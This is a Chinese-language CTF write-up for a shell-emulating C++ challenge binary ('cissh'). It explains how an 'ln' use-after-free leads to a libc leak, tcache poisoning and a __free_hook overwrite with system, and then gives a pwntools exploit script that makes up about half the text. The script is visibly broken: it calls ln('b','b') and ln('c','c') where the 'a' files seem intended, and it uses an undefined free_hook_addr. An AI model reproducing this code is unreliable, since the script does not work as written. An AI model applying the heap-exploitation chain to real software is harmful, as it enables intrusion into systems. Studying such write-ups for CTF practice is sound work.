保护都健在。
庞大的C++以及复杂的结构体注定了这道题的思路就只能是连猜带蒙。
刚进来简简单单几行
但是旁边的函数条告诉我事情并不是那么简单。
这几行里面首先是一个welcome,没啥说的。
然后看起来是定义了一个manager的结构体,然后下一行是通过结构体得到了一个__shared_ptr_access一个指针。
manager结构体里面也确实有一个那个名字的指针
指针再进去是一个函数,函数里面就又是一大堆乱七八糟。
你会发现有个函数多次出现
然后再怎么样就不知道了,那我们回去看看下面的主逻辑程序。
有个输出有个输入,然后再执行execute。
然后就又是一堆。
逻辑分析的清清楚楚是万万做不到的,仅仅是大概发现
从输入里取了个啥然后跟traits取出来的比对,然后大概是执行的样子。
找到traits里面有啥。
有个函数表,那么我们就猜测就是执行类似于linux命令的代码而已。
程序中存在 ln 操作可以软链接一个文件,但是源文件删除后 ln 后的内容仍然存在,通过盲测触发了一个 double free 报错
这意味着文件“b”还在使用文件“a”的数据指针,存在 UAF
有了 UAF 之后就直接填满 Tcache 后利用 unsortedbin 泄露出 libc_base,再修改 tcache 的 next 指针为__free_hook,两次申请后得到__free_hook,劫持__free_hook就好啦。
exp
from pwn import *
context.log_level = "debug"
r = process("./cissh")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
def touch(name):
r.sendlineafter("\x1B[31m$ \x1B[m", "touch " + name)
def vi(name, content):
r.sendlineafter("\x1B[31m$ \x1B[m", "vi " + name)
r.sendline(content)
def cat(name):
r.sendlineafter("\x1B[31m$ \x1B[m", "cat " + name)
def ln(name1, name2):
r.sendlineafter("\x1B[31m$ \x1B[m", "ln " + name1 + " " + name2)
def rm(name):
r.sendlineafter("\x1B[31m$ \x1B[m", "rm " + name)
for i in range(8):
name = 'a' + str(i)
touch(name)
vi(name, str(i) * 0x100)
ln('b', 'b')
ln('c', 'c')
for i in range(8):
name = 'a' + str(i)
rm(name)
cat('b')
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
vi('c', p64(free_hook_addr))
touch('d')
vi('d', '/bin/sh\x00' * (0x100 // 8))
touch('e')
vi('e', p64(system_addr) * (0x100 // 8))
rm('d')
r.interactive()